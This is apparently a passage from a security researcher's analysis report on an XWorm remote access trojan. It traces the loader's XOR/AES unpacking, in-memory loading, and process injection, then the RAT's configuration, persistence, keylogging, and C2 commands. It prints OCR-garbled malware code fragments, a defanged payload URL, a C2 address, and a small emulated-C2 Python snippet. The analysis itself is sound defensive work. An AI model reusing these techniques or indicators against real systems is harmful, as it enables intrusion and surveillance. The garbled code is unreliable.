Although the algorithm is relatively simple, this lightweight obfuscation technique prevents the resource name from

appearing as plaintext within the assembly and complicates static string analysis.
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s ecurityCheck _'

if (resource

return null;

£ (num > 9223372036854775807UL)
throw new NotImplementedException(Environment.GetResourceString("NotImplemented Resou

T

return new UnmanagedMemoryStream(resource, (long)num, (long)num, FileAccess.Read, true);

100 % -~

Locals
Name Value
b3 his [Mic ! culer, 0.0, Culture=neutral, Publi...

7 skipSecurityCheck

Figure 24. Error Encountered While Searching for the Zesw Resource.

After recovering the zesw string, the malware searches the .NET assembly for an embedded resource with this name. If the

resource is found, it is returned as an UnmanagedMemoryStream .

However, during debugging, it was observed that no resource named zesw exists within the assembly. As a result, the
resource lookup fails and the method returns null . This indicates that the resource is either absent from the assembly or

intentionally included in the malware as a decoy.

Class241 X

[1 array = "§;
int num = array.Length;

(--num

array[num] = ( )(array[num] *

T
H

r n new string(array);

Figure 25. Dynamic Resolution of the "LJce’ Resource Name.

The malware then executes a second string decryption routine using the same algorithmic structure. This time, the

obfuscated character sequence is processed using two consecutive XOR operations:

1. Each character is XORed with the value 0x9A (154) .
2. The resulting value is XORed again with the external parameter 0x71 (113) .
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Unlike the previous routine, the transformation is performed from the end of the character sequence toward the beginning.

After the decryption process, the embedded resource name LJce is successfully recovered.

I num =

byte* resource = RuntimeAssembly.GetResource(this.GetNativeHandle(), name, ocut num,

skipSecurityCheck) ;
if (resource null)
€
return null;

if (num > 9223372036854775807UL)

throw new NotImplementedException(Environment.GetResourceString("NotImplemented_

Value
ft.Win32.TaskScheduler, Version=2.11.0 J, Culture=neutral, P

stackMark
skipSecurityCheck

source

Figure 26. Successfully Retrieving the "LJce’ Resource.

The malware accesses the embedded Manifest Resources within the assembly through internal .NET runtime APIs. Instead

of relying on high-level resource access methods, it directly obtains the address and size of the raw resource data in memory.

The LJce resource is successfully located, and approximately 34 KB of encrypted data is mapped into memory. The raw
buffer is then wrapped in an UnmanagedMemoryStream , allowing the entire encrypted content to be processed directly in

memory.

Class241 X
ctraam_a)

BinaryReader binaryReader = new BinaryReader(Class255.smethod @(stream_8));
int num = binaryReader.ReadInt32() * 347455832;
ing[] array = new [rum];

¢ num; i++)

inaryReader.ReadString();

11.string_@ = array;
binaryReader.ReadInt32() * 618883481;

L Fmr—iin

binaryReader
7 num

Figure 27. Loading and Processing the "LJce’ Resource.

After loading the LJce resource, the malware begins parsing its internal structure. First, it reads the number of encrypted
strings contained within the resource. Each character is then decrypted using an XOR operation with the Unicode character

1, and the resulting strings are stored in the (lass241.string_0 array.
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After recovering the strings, the malware reads an encrypted byte array whose size is also dynamically obtained from the

resource itself. This binary data is then loaded directly into memory using the following statement:
Assembly.Load()
This technique allows an additional .NET assembly to be executed entirely in memory without creating any files on disk.

stream_@)

BinaryReader binaryReader = new BinaryReader(stream @);

num = ( yeinaryReader. fn )]

[1 array [num] ;
binaryReader.Read(array, @, num);

num2 = [ JbinaryReader.
[1 array2

binarvReader.Readlarrav2. 8. arravz.

array[i]

Figure 28. XOR Deobfuscation Stage.

Before the cryptographic decryption process begins, the malware removes the first protection layer based on an XOR
obfuscation mechanism. First, two bytes are read from the stream to determine the length of the encrypted data block. After
the encrypted bytes are copied into an array, the length of the XOR key is read and the corresponding key bytes are

retrieved.

Each encrypted byte is XORed with the corresponding key byte. This removes the obfuscation layer and reconstructs the

original encrypted payload for use in the subsequent cryptographic operations.

symmetricAlgorithm =
(Bin: binaryReader2 =

binaryReader2.ReadString();

b = binaryReader2.
b2 = binaryReade
b3 = binaryReade

numis — Julnial yncauc £.
[]1 array [num3]
binaryReader (array3, @, num3);

Figure 29. Reading Cryptographic Metadata.

After the XOR deobfuscation process, the malware parses several metadata fields that determine how the remaining payload
should be decrypted.

These values include:

e b, which indicates whether encryption and compression operations have been applied.
e b2 , which identifies the symmetric encryption algorithm being used.

e b3, which determines how the cryptographic key should be obtained.

e num3 , which specifies the key length.

Based on these values, the malware prepares the parameters required for the subsequent decryption stage.
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(b3 < 64)

D1lnarykeaaers.n

[1 publicKey;

 array4 =
(public

(array4, ( )(b3 + 12), array3, @, num3);

Figure 30. Cryptographic Key Generation.

The malware supports two different methods for obtaining the decryption key. If the value of b3 is less than 64, the

cryptographic key is read directly from the encrypted resource.

Conversely, when b3 is 64 or greater, the key is reconstructed from the assembly's Strong Name Public Key
information. The required bytes are copied from the public key starting at the b3 + 12 offset, resulting in the final

decryption key.

Deriving the key from the assembly itself significantly complicates unauthorized modification or key extraction, as

successful decryption depends on the integrity of the original signed assembly.

Class255 X

switch (byte_@)

L
1:
return DES.Create();

r

return Aes.Create();

Figure 31. AES Decryption Routine.

After reconstructing the cryptographic parameters, the malware selects the symmetric encryption algorithm based on the

b2 value.
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The selection logic supports multiple algorithms, including:

« DES

¢ AES

¢ TripleDES
« Rijndael

« RC2

¢ Custom implementation (Class254)

During this analysis, the execution flow enters the AES branch. The previously reconstructed XOR key is assigned as the
Initialization Vector (IV), while the derived cryptographic key is used as the AES Key. After initializing the encryption
algorithm, the encrypted payload is decrypted directly in memory.

Finally, the stream position is reset ( MemoryStream.Position = @ ). This allows the decrypted assembly to be read and
executed by subsequent stages of the malware. This process represents the completion of the runtime decryption routine

performed by the protected DLL.

char[] array2 = new char[text.Length];
( j =9; j < array2. 5 J++)

array2 = text[j] * ;

array[i] = new string(array2);

num = binaryReade
[1 array3 =
binaryReader.Read(array3, @, num);
N

mnteimn Arrnmbles | ondf =

stream_0
> binary
> num
T,

Figure 32. Resources Extracted from the LJce Assembly.

Following the decryption stages described in Figures 27-29, the embedded LJce assembly exposes several additional

resources that are loaded during runtime. The extracted resources are:

e Microsoft.Win32.TaskScheduler.Properties.Resources.resources
e Microsoft.Win32.TaskScheduler.TaskService.bmp

e zesw

e nPuY

These resources represent the next layer of the malware's modular architecture. In particular, zesw and nPuY contain

additional protected payloads that are processed during later stages of the execution chain.
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rawAssemblv )

in. ()
StackCrawlMark stackCrawlMark = StackCrawlMark.lLookForMyCaller;

| RuntimeAssembly.nlLoadImage(rawAssembly, null, null, ref Bt

ri feCritic:
odImpl(MethodImplOptions.

Figure 33. Loading the Decrypted LJce Assembly into Memory.

After the decryption process is completed, the resulting binary data is stored in the array3 buffer. The malware then loads
this byte array directly into the .NET runtime using the following statement:

Assembly.Load(array3)

The MZ magic header ( 4D 5A ) is detected, confirming that the resulting object is a valid Portable Executable (PE) file.

Since the assembly is executed directly from memory, no additional executable file is written to disk.

Figure 34. Resources Found Within the Decrypted Assembly.

Dumping the contents of array3 reveals another .NET assembly containing multiple embedded resources. Examination of
the assembly's Resources section confirms that the resource names obtained during the previous stage are also present here.
Among them, the zesw and nPuY resources remain encrypted and require additional processing before they can be

executed.

This indicates that the malware uses multiple nested resource layers, each independently protected, to complicate the reverse

engineering process.
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Figure 35. Protected Contents of the “zesw™ and ‘nPuY" Resources.

Both embedded resources implement a multi-stage protection mechanism. First, the resource data is protected by an XOR-
based obfuscation layer. Once this layer is removed, the malware obtains the encrypted payload along with its cryptographic

metadata.

Depending on the configuration values obtained at runtime, one of the following symmetric encryption algorithms may be

used:

e AES
* DES
o TripleDES
¢ RC2

The XOR key is reused as the Initialization Vector (IV), while the derived cryptographic key is applied during the
decryption process in CBC mode. After the decryption process is successfully completed, PKCS#7 padding is removed. If
the resulting data is also compressed, the malware performs DEFLATE/zlib decompression to recover the original

assembly.

)
Class241.string @)
(string_1, text, StringComparison.

Class241.assembly_@;

¥

L T b I

returned

Figure 36. Searching for the “zesw™ Resource.

The malware searches the (lass241.string @ array for a resource whose name matches zesw . The comparison is
performed in a case-insensitive manner. Once a match is found, the corresponding assembly object

( Class241.assembly_0 ) is returned.

This search mechanism allows the malware to dynamically locate and execute embedded assemblies without relying on
fixed resource offsets.
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Class255 X

stream_@)

aryReader(stream_|
num = (int)binaryRead );
[] array [num

binaryReader rray, ©, num);
num2 = ( )binaryReade
[]1 array2 = [num2];
binaryReader.R rray2, @, array2.
( i=9; < num; i++)
{
array[i] "= array2[i % num2];
3

thm symmetricAlgorithm = g
(_Binar‘yReader‘_ binaryReader2 = new BinaryReader(new MemoryStream(array, false)))

Figure 37. Removing the XOR-Based Obfuscation Layer from the “zesw™ Resource.

Similar to the process described in Figure 27, the malware first removes the XOR-based obfuscation layer protecting the

Zesw resource.

The encrypted bytes are processed using the previously recovered XOR key, resulting in decrypted binary data stored in
array3 . This byte array represents the next assembly to be decrypted, decompressed, and executed during subsequent

stages.

byte[] array = new byte[81920];
.Class251 @class = new .Class251(stream_@);
(55)

int num = @class.method_@(array, 8, array.lLength);
{num <= @)
3

;s
¥

stream_1.Write(array, 0, num);

Figure 38. Deflate Decompression Routine.
Following the cryptographic decryption process, the malware determines that the resulting payload is compressed.

The smethod_0() routine performs DEFLATE decompression by reading the compressed data from stream_@ and

writing the decompressed output into stream_1 .

An 80 KB working buffer is allocated to process the stream in chunks. The Class251 helper class implements the
DEFLATE decoder compatible with the zlib format.

This streaming approach reduces memory consumption while reconstructing the original payload entirely in memory.
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Class245 X

Figure 39. Huffman Decoding Used During Deflate Decompression.

During the final decompression stage, the original data is reconstructed using the Huffman coding mechanism employed by
the DEFLATE algorithm. Canonical Huffman tables are dynamically generated from the compressed data stream, enabling

the correct decoding of both static and dynamic Huffman blocks.

Once the decompression process is complete, the resulting payload is written into stream_1 and becomes available for the

malware's next execution stage. This completes the entire unpacking process applied to the protected embedded resources.
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Figure 40. Contents of the Decrypted Zesw Resource.

After the decryption process, the zesw resource reveals numerous strings associated with the Windows Task Scheduler
infrastructure. These strings define task configurations, scheduling triggers, execution conditions, COM interfaces,

PowerShell execution, and other runtime configuration data.

In addition to scheduling-related information, the resource also contains numerous indicators used for virtual machine
detection. These include references to BIOS information, motherboard identifiers, storage devices, system drivers, and

virtualization platforms.

Examples obtained during the analysis are shown in the table below:

Virtualization Indicators Task Scheduler Components

VMware powershell.exe
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Virtualization Indicators Task Scheduler Components
VirtualBox TaskService
QEMU ScheduleByWeek
Hyper-V ScheduleByDay
Win32_ComputerSystem CalendarTrigger
Win32_BIOS RunComHandlerAction

Table 1. Virtual machine detection and task scheduling strings obtained from the zesw resource.

The presence of these strings indicates that the malware performs environmental awareness checks before continuing

execution. This allows the malware to alter its behavior when executed in virtualized analysis environments.

Lypeo

ethodAttributes methodAttributes = MethodAttributes.FamANDAssem | MethodAttributes.Family | MethodAttributes|St:
byte[] array = Convert.FromBase64String(”KLTBeaTIVZ/Xa63BGLnbYqg+KOr7BaKzGF75J15qTQPqPGF7j1CL7XYKPIAvbVaLX7Pbje’ Y/
FFqilYrH7MgPXfLTFF6TGdPrDHrntQaTKHLnaNobBD5nL faTiCal fRaDKHEHXNgbBD5L8bKzBQITcaaTcNKuIX6TFH576f6jKHPbzaal FHK; GUY
QP6LFbKKQI7XeYXFD6yIOvWQTvbzfrLBFq/ed]LBCbvXf/r3EqDCYaT1CL7XYKPIAo jKfa3LCajANgPFGajeeby fCKDAZqTQHr7G™ ) ;
({ i =8; i < array. ; i)

3

array[i] ™

3

array[i] *

3

5
array[i] *

3

Figure 41. Base64 Decoding Followed by Multi-Key XOR Decryption.

During the next execution stage, the malware decodes a Base64-encoded byte array and then applies a custom XOR
decryption routine. Instead of using a single XOR key, a different key is applied to each byte based on the remainder of the
byte index divided by six. The key sequence used is as follows:

123, 205, 178, 13, 193, 164

This multi-key XOR implementation provides a lightweight obfuscation layer used to conceal important runtime strings and

make static reverse engineering analysis more difficult.

The following strings were obtained as a result of the decryption process:

Extracted Strings
System.Reflection.Assembly
GetEntryAssembly
GetTypeFromHandle
GetCurrentDomain

get_FullName
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Extracted Strings
get_Name
get_Position
get_Length
ReadString
SetData

IndexOf

Add
AssemblyServer
SimpleAssemblyExplorer
babelvm
smoketest

7445

Table 2. Strings obtained as a result of the Base64/XOR decoding routine.

These strings clearly indicate the use of reflection-based assembly loading, runtime stream manipulation, and in-memory

execution techniques.

string[] array2 = Encoding.UTF8.GetString(array).Split(new char[] { ";" 1);
typeBuilder_8.DefineMethod("?", methodAttributes);
ray2[0]);
1fe d(array2[1], BindingFla | BindingFlags.
MethodInfo method2 = type.GetMethod{array2[2], BindingFlags.Instance | BindingFlags.Public | Bi

method3 = typeof(string).GetMethod(array2[7], BindingFlags.Instance | Bindingflags.Pu

d returned

typeBuilder_0
methodAttributes
array
- array?
“ methodBullder WEL Al 15U Method 5 guments: U 5.
ype {Nan y" FullName Y "}
method
method2 {System.5tring get_FullName(}

2l a7

Figure 42. Runtime Resolution of Methods Used for Dynamic Code Generation.

The decrypted byte array is interpreted as a UTF-8 string and split using the semicolon ( ; ) delimiter. As a result of this

process, the array2 string array is created.

The resulting values are then used to dynamically resolve .NET types and methods through Type.GetType() and
GetMethod() . Using TypeBuilder and MethodBuilder , a dynamic method whose entire structure is created at runtime is

prepared.

Instead of storing API names directly as static values within the code, storing them as encrypted strings significantly reduces

the malware's static detection surface while also making reverse engineering analysis more difficult.
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Figure 43. Runtime Generation of IL. Code Using Reflection.Emit.
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After dynamically resolving .NET types and methods, the malware uses Reflection.Emit to create an entirely new method.

An ILGenerator object is obtained through MethodBuilder, allowing Intermediate Language (IL) instructions to be

generated directly in memory. The generated method performs various operations during runtime, including:
¢ Allocation of local variables
¢ Conditional branching
e Stream processing
« Initialization of BinaryReader
¢ Creation of Hashtable
¢ Arithmetic and bitwise operations
¢ Storing runtime data within the current AppDomain

Instead of placing executable logic directly within the assembly, the malware reconstructs the required functionality during

execution. This approach significantly increases its resistance to static analysis.

( (SecurityProtocollype Jz (121));
webClient -
Jel te831. (webClient, Dele B4
string text6 = DelegateB832.smethod_B(QBXtX);
byte[] array3 = Delegate833.smethod B(text6);
string text? = Delegate287.smethod_@(Delegate2B84.smethod_8(), array3);
string text8 = DelegateB834.smethod_B(webClient, text7);
text8 = Delegate832.smethod_8(text8);
[1 array4 ) . (text8) /

0);

( i : ))E . arrayd.

arravalil

eturned
QBXtX
startupreg

Figure 44. Obtaining the New Payload URL.

The malware then configures the .NET networking stack to use TLS in preparation for network communication. A

WebClient object is created, followed by the initialization of HTTP headers.

The QBXtX parameter previously provided to the VAI method is decrypted by reversing the Base64-encoded string. The

resulting plaintext is converted into the final download URL used to retrieve the next malware stage.
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Figure 45. XWorm Payload Retrieved from the Relevant URL.
The decrypted URL points to a payload hosted at the following address:
hxxps[:]1//paste[.]ee/d/1xCmzx4v/0
The downloaded content consists of a hexadecimal representation of a Portable Executable (PE) image prepared to be

loaded into memory. To evade signature-based detection, the malware intentionally replaces the standard MZ (4D 5A) DOS

header with the reversed byte sequence 5A 4D.

y4, Class239

(array4, num4 + C

returned
QBXtX
startupreg

Figure 46. Retrieval and Decoding of the XWorm Payload.

After the remote payload is downloaded, the malware processes the hexadecimal data through several helper functions with
various obfuscation techniques applied. The retrieved data ( text8 ) is parsed and reconstructed into the array4 byte

array, which represents the decoded payload.

At this stage, the malware also extracts the Base64-encoded Command-and-Control (C2) configuration embedded within
the downloaded data. The value observed during debugging, beginning with ==AMvgH6NkhXb. .. , corresponds to the

encrypted C2 configuration that will be decoded during later stages of execution.
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flagd = (x32.WriteProcessMemory(struct2.intptr @, numS + numld, array2,
ar‘i‘ayZI\.LEngth, ref numé) ? 1 : @) == Class239.smethod_@(@);
numl?7 = 11;

Figure 47. Writing the XWorm Payload into Process Memory.

In the final stage of the loader, the reconstructed payload is injected into the memory space of another process using the

Windows API WriteProcessMemory() .
The function receives the following parameters:

¢ Target process handle

¢ Target memory address

« Buffer containing the payload
¢ Payload size

e Number of bytes written

The return value of the API is checked to determine whether the memory write operation completed successfully. This
behavior represents the transition from the protected loader stage to the fully functional XWerm malware. As a result, the
final payload can be executed directly from memory, reducing artifacts left on disk and decreasing the likelihood of
detection by traditional security products.

xclient.exe Analysis

File Name XClient

File Type PE32/.NET

MD5 6c873d499a0e895e81eec4f21adc 849

SHA-256 b24e077047667634dbc13c7f478a3bd4b9f1a264194543d410bee36535756b4
Static Analysis

File Type Portable Executable 32 .NET Assembly
File Info Microsoft Visual Studio .NET

File Size 35.50 KB (36352 bytes)
PE Size 33.50 KB (36352 bytes)

Figure 48. XClient.exe File Information.

The analyzed payload is a 35.50 KB Portable Executable (PE32) .NET application compiled using Microsoft Visual
Studio .NET.

Unlike the previous loader stages, this executable represents the final XWerm payload, which is responsible for the

malware's core functionality after successful deployment.
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v PE32
'g etim sistemi: Windows{95)[1386, 32 bit, GUI]
Badlayici: Microsoft Linker(11.0)
Derleyici; VB.NET
Dil: VB.NET
Kitaphk: NET Framework{Legacy, CLR v4.0.30319)
Zararh yazihm: XWorm(3.0-5.0)
(Heur)Paketleyici; Compressed or packed data[Assembly invoke]

Figure 49. Static Analysis of the .NET Application.

The analysis performed using Detect It Easy (DIE) identified the sample as an application developed in VB.NET targeting
.NET Framework v4.0.30319.

The executable was identified as an XWorm Remote Access Trojan (RAT) and was found to contain functionality
associated with remote administration, credential theft, persistence, surveillance, and Command-and-Control (C2)

communication.

Dynamic Analysis

Figure 50. Encrypted Configuration Strings.
As part of the initial analysis, the Settings class was examined and found to contain the malware's runtime configuration.

Most configuration values are stored as Base64-encoded and encrypted strings rather than in plaintext. These values are

decrypted at runtime using the malware's internal AES routine.
In particular, the Mutex value is used for two different purposes:

o Generating the AES decryption key.
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¢ Preventing multiple instances of the malware from running simultaneously.

Additionally, the LoggerPath configuration specifies the location where keyboard input recorded by the integrated
keylogger is stored.

QO

Thread.Sleep(checked(Settings.Sleep * 1880));

returned
mpile C onve S. retur...

Figure 51. Decryption of Configuration Information at the Entry Point.

Before executing its malicious functionality, the malware intentionally introduces a delay using the following code:
Thread.Sleep(Settings.Sleep * 1000)

This delay can help evade automated sandbox environments that monitor programs only for a short execution window. After
the delay, the malware enters a try block and decrypts multiple encrypted configuration parameters stored in the
Settings class using the internal AlgorithmAES.Decrypt() routine.

The resulting plaintext values are converted into strings and overwrite the encrypted configuration values stored in memory.

({ input)

RijndaelManaged rijndaclManaged = new RijndaelManaged();

! mdSCryptoServiceProvider

(array2,
(array2,
rijndaelManaged.
rijndaelManaged. - 7
m cryptoTransform = rijndaelManaged.(
(input);
(cryptoTransform.

input
rijndaelManaged

Figure 52. Initial AES Configuration Decryption.

Instead of storing the Command-and-Control (C2) configuration as plaintext directly within the executable, XWorm stores
it encrypted using AES-ECB mode. The AES key is generated using the MD5 hash of the Mutex value contained in the
configuration. Therefore, each XWorm build can generate a unique encryption key simply by modifying its mutex

configuration.
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During runtime, the encrypted configuration is fully decrypted in memory.

The resulting configuration is summarized below.

Configuration Value

C2 Server 159.223.120.36

Port 8069

Encryption Key <123456789>

Client Identifier <Xwormmm>

Downloaded Payload USB.exe

Installation Directory C:\Users\\<User>\AppData\Roaming\

Table 3. Decrypted XWorm Configuration.

The recovered configuration confirms that the malware communicates with a remote Command-and-Control (C2)
infrastructure over TCP port 8069. The Xwormmm identifier is sent during registration and allows the infected client to be

identified by the operator.

(e);

if (!Helper.CreateMutex())

(e);

Figure 53. Mutex Verification.

One of the first checks performed by XWorm at runtime is mutex verification. The malware calls the

Helper.CreateMutex() method to determine whether another instance is already running on the system.

If the mutex has already been created, the function returns false , causing the malware to immediately terminate its

execution using the following code:

Environment.Exit(0)

This mechanism prevents multiple instances of the malware from running simultaneously, reducing potential system

instability and lowering the likelihood of exposing the infection.
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[fileInfo| =
elete();

Value

Figure 54. Persistence via AppData and the Run Registry Key.

The malware establishes persistence by copying itself to the user's Roaming profile directory and registering itself under the
Windows Run registry key. The installation path is constructed using the InstallDir wvalue found in the configuration,

resulting in a target path similar to the following:

C:\Users\\<User>\AppData\Roaming\XClient.exe

The malware then creates or updates the corresponding Run registry entry to point to this executable. If a previously created
copy exists, the existing file is deleted before a new copy is written to disk. A short delay is introduced to ensure that file

handles are released and that the executable can be overwritten.

Finally, the malware copies its own executable to the target directory using File.WriteAllBytes() . This causes the
malware to execute automatically when the user logs into Windows. This persistence mechanism allows XWorm to remain

active across system restarts without requiring additional user interaction.

returned
returned
returned

b & thread

Figure 55. Persistence via the Windows Startup Folder.

In addition to the previously described Run Registry persistence mechanism, XWorm implements a second persistence

method by creating a shortcut in the user's Startup folder.

The malware creates a shortcut with the following name:

XClient.lnk

The shortcut is configured to point to the copied XClient.exe file located within the user's AppData\Roaming directory.

As aresult, Windows automatically executes the malware each time the user logs in. This provides an additional persistence

mechanism that allows XWorm to remain persistent on the system even if the registry entry is removed.
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ger .SetHook(XLogger{. proc);

Locals
Name
a Stub.XLe 2 returned

Figure 56. Initialization of the Keylogger Module.
The XLogger.callk() routine initializes XWorm's keylogging component.

Using the Windows API, a low-level keyboard hook is established through SetWindowsHookEx() . During debugging, the

returned IntPtr value containing a valid hook handle confirms that the keyboard hook was successfully registered.

After establishing the hook, the malware calls the following method:

Application.Run()

This starts a continuously running Windows message loop. As a result, the keylogger remains active in the background and

continuously captures keyboard events generated by the user.

Clien

Clie

T
i

1y .
thread.S
thread2
thread2. Jc

Figure 57. Continuous C2 Connection Monitoring.

A separate worker thread is responsible for continuously monitoring the malware's connection to the Command-and-
Control (C2) server. If the TCP connection is interrupted, the client immediately attempts to reconnect. Between connection
attempts, the malware introduces short and random delays to reduce resource consumption and lower the likelihood of

generating suspicious network activity.

This reconnection mechanism allows the infected system to continuously maintain communication with the remote operator

whenever network connectivity is available.
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Q)

ComputerInfe computerInfo = new ComputerInfo();

( []

"INFO",

computerInfo.

Figure 58. Collection of System Information.

The Info() routine collects detailed information about the compromised system before communication with the C2 server

begins.
The collected information includes:

e Username

¢ Operating system version
¢ XWorm version

« Installation date

o Infection method

¢ User privilege level

¢ Webcam availability

o Installed antivirus products

¢ Additional system-specific metadata

These values are concatenated using the malware's custom SPL delimiter, forming a single configuration string that is
subsequently sent to the C2 server.

FileInfo fileInfo = new FileInfo(Helper.curren
fileInfo. 5 tr (

[ 2

100% ~

Lc
Name Value
returned
returned

Figure 59. Obtaining the Installation Time Information.

The Indate() function retrieves the file's last modification timestamp from the file system and formats the value using the

dd/MM/yyyy format.
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The resulting value is sent to the Command-and-Control (C2) server, allowing the operator to estimate how long the

malware has been active on the compromised system.

(ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("'\
"Select ¥ from AntivirusProduct"))

uilder =

ct managementBas

(managementBaseObject["«

stringBuilder.Append(",");

Value

returned {Windc

Figure 60. Antivirus Detection via WMI.

To identify installed security products, XWorm queries the Windows Management Instrumentation (WMI) interface. The
malware specifically connects to the SecurityCenter2 namespace and enumerates instances of the AntivirusProduct
class. When an antivirus product is detected, its DisplayName value is retrieved and added to the system information sent to

the attacker. If no antivirus solution is installed or the query fails, the function directly returns the following value:
None

This information allows the operator to adapt subsequent activities based on the security software present on the

compromised system.

LL1ent>0CKeT.5enasync = RuUNTimenelpers.uetunjectvalue new onJecty));
-] nd(Conver: ToSt ( Info()))

100% -

Locals

Name

returned

Callhack

Figure 61. Construction of the Initial C2 Registration Message.

Before communicating with the Command-and-Control (C2) server, the malware configures its primary communication
component, ClientSocket . Both the receive and send buffers are configured to 51,200 bytes. After establishing a
connection to the configured C2 address, the malware updates its internal isConnected state and prepares the initial

registration message.
This message contains various system information, including:

¢ Operating system version
e Username

¢ XWorm version

¢ Installation date

+ Windows Defender status

¢ Additional system metadata
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The generated packet begins with the INFO command, followed by the client identifier ( Xwormmm ) and the collected

system information.

After sending the registration packet, the malware starts the asynchronous BeginReceive() loop and initializes a timer

responsible for continuously monitoring the network connection.

(MemoryStream memoryStream = new MemoryStream())

] ar
]

1, Se t : i3

S.BeginSend(memoryStream.ToArray(), @, checked((int)memorfyStream.lLength),
.EndSend), null);

Value

Figure 62. Encryption of Outgoing C2 Traffic.

Before any information is transmitted over the network, the registration packet is encrypted using the malware's AES
encryption routine. The plaintext message is first converted into a byte array and then encrypted. The length of the
encrypted payload is also calculated and written into a MemoryStream along with the encrypted data.

If the connection is active, the encrypted packet is sent asynchronously through BeginSend() . This makes communications

with the Command-and-Control (C2) server more difficult to read through direct network traffic inspection.

def komut_gonderici(conn, key string):
while True:
komut = input("[KOMUT] > ™)
if komut.lower() == "q":
break
encrypted cmd = aes_ecb_encrypt(komut, key string)
to send = str(len(encrypted cmd)).encode("utf-8") + b + encrypted cmd

conn.sendall(to_send)

TERMINAL

> |~ TERMINAL

[KoMUT] >

> IS : ormmm; <Xwormmm: ormmm> Windows ro it <Xwormmm:XWor:
TSTEMCIDEN] TNFO<Xwe 4N Qi Winds 18 P 64bit<Xwi Kl

ndows Defender

[+ ISTEMCIDEN] PING!<Xwormmm>dnSpy v6.5.1 (64-bit, .MET Framework, Debugging, XClient.exe)<Xwormmm>e

i» ISTEMCIDEN] PING!<Xwormmm>dnSpy v6.5.1 (64-bit, .NET Framework, Debugging, XClient.exe)<Xwormmm>@

Figure 63. Local Command-and-Control (C2) Emulation.
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Since the original Command-and-Control (C2) infrastructure was no longer accessible during the analysis, the malware's

configuration was modified to communicate with a locally controlled server.

A custom Python-based TCP server was developed to emulate the expected C2 protocol. The server receives encrypted
packets from the malware, decrypts the transmitted data, and allows controlled interaction with the sample.

This laboratory environment enables researchers to observe the malware's complete communication protocol, examine the
transmitted system information, and safely emulate attacker commands without requiring access to the original C2

infrastructure.

.| |tcp.stream eq 0 95 {.0..M
- <
No Time Source Destination Protocol Lengtt Info {36/ [ EY S aB;H]*
oopdsfleclfoc scosoflosoifiscco c- ... AB;H]*®.
r 850 797.966246 NN | TCP 250 50872 6. F LW 5.8 -L.6F.E
851 797.970561 | — TCP 60 8069 -

Figure 64. Encrypted INFO Packet Sent to the C2 Server.

Analysis of the TCP communication shows that the malware sends an encrypted packet with a total size of 192 bytes
immediately after establishing a connection with the Command-and-Control (C2) server. Since the packet is encrypted
using AES, its contents cannot be directly interpreted from captured network traffic. This encryption protects sensitive host

information collected from the compromised system before transmission.

The encryption key corresponds to the configuration value previously obtained from the Settings class:
<123456789>

This indicates that all initial client registration data, including operating system information, username, antivirus status, and

other system metadata, is protected during transmission.
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[]1 array = Strings.Split(Helper.BS(Helper.AES Decryptor(b)), Conversi
-1, CompareMethod.Binary);

(array[2])

Figure 65. Command Dispatcher Mechanism.

Incoming packets received from the C2 server are decrypted using the malware's AES routine and then decompressed before
processing. The resulting plaintext message is split using the malware's internal message delimiter. The first token then

determines which command handler will be executed.
Example commands include:

e rec — Restarts the malware.
e CLOSE - Closes the socket connection.
e uninstall — Removes the malware from the compromised system.

e update — Downloads and executes a new version of the malware.

This dispatcher acts as the central control mechanism responsible for routing all commands received from the attacker to

their corresponding handlers.

(6) + array[1]);
OF
text2);

(array[id=

(array[1],

-L", A
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Figure 66. Additional Remote Administration Commands.
Other command handlers implement most of XWorm's remote administration functionality.
Depending on the received command, the malware can perform the following operations:

¢ Download and execute files from remote URLs.

¢ Open URLs visibly or in the background.

¢ Execute arbitrary shell commands.

¢ Shut down, restart, or log off the compromised computer.

o Start or stop Distributed Denial-of-Service (DDoS) attacks.

These capabilities turn the infected system into a remote endpoint that can be fully controlled through the Command-and-

Control (C2) infrastructure.

tang

ectangle2 (6, ©, bitmap. , bitmap.

oranhic (imase  rectansle. rectansle?  Graohic it

bitmap2 ryStream, Im mat . Nz

ClientSocket.Send(Conversions.ToString(Operators.ConcatenateObject(Operator.
(Operators.ConcatenateObject("#CAP", Messages.SPL), Helper.ID()), Messages.
(memoryStream. ToArray())))));

Value

Figure 67. Screenshot Capture Operation.
When the $Cap command is received, XWorm captures the entire desktop at the user's current screen resolution.

To reduce network bandwidth usage, the captured image is resized to 256 x 156 pixels and encoded in JPEG format within a
MemoryStream. The resulting JPEG image is then compressed and packaged with the #CAP identifier before being sent to
the Command-and-Control (C2) server.

This operation allows the attacker to obtain periodic screenshots of the compromised system's desktop while reducing

network traffic.
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Figure 68. Transmission of Encrypted Screenshot Data.
The captured screenshot is transmitted over the network as encrypted traffic.

As with other C2 communications performed by XWorm, the screenshot payload is encrypted before being sent to the
Command-and-Control (C2) server. This makes it more difficult to directly obtain and interpret the screenshot contents

through passive network traffic monitoring.

Supported Command-and-Control Commands

Command Description
rec Restarts the malware
CLOSE Closes the socket connection
uninstall Removes the malware from the system
update Downloads and executes the updated payload
DW Downloads a file and saves it to disk
FM Executes a Base64-encoded file received from the server
LN Downloads and executes a file from a URL
Urlopen Opens the URL visibly in the default browser
Urlhide Opens the URL in the background
PCShutdown Shuts down the computer
PCRestart Restarts the computer
PCLogoff Logs off the current user
RunShell Executes arbitrary shell commands
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Command
StartDDos
StopDDos
StartReport
StopReport
Xchat
plugin
savePlugin
$Cap
DDos

0fflineGet

Table 4. XWorm Command-and-Control command set.

The scope of the supported commands demonstrates that XWorm is more than a basic Remote Access Trojan (RAT). The

malware combines various capabilities within a single modular architecture, including surveillance, remote administration,

https://github.com /Yavuzhanzgen/XWorm-Malware-Analysis/blob/main/Reports/XWorm_v3.1_Report_EN.md

Description

Starts a DDoS attack

Stops a DDoS attack

Starts the reporting thread

Stops the reporting thread

Exchanges chat messages with the operator

Requests or executes a plugin

Downloads and saves a plugin locally

Captures a screenshot

Sends DDoS control signals

Retrieves offline keylogger data

payload distribution, plugin management, denial-of-service (DDeoS) attacks, information and credential collection, and

system administration.

This extensive command set demonstrates that XWorm can provide comprehensive remote control over the infected system

and uses its C2 infrastructure as a centralized management mechanism for its malicious functionality.

MITRE ATT&CK
Reconnaissance  Execution
Gather Victim
Host PowerShell
Information (T1059.001)
(T1592.001)
JavaScript
(T1059.007)
User

— Execution
(T1204.002)

Source: https://github.com/Yavuzhanzgen/X Worm-Malware-Analysis/blob/main/Reports/XWorm_v3.1_Report_EN.md

Persistence

Registry
Run Keys /
Startup
Folder
(T1547.001)

Scheduled
Task / Job:
Scheduled
Task
(T1053.005)

Defense Evasion

Obfuscated Files or
Information
(T1027)

Deobfuscate/Decode
Files or Information
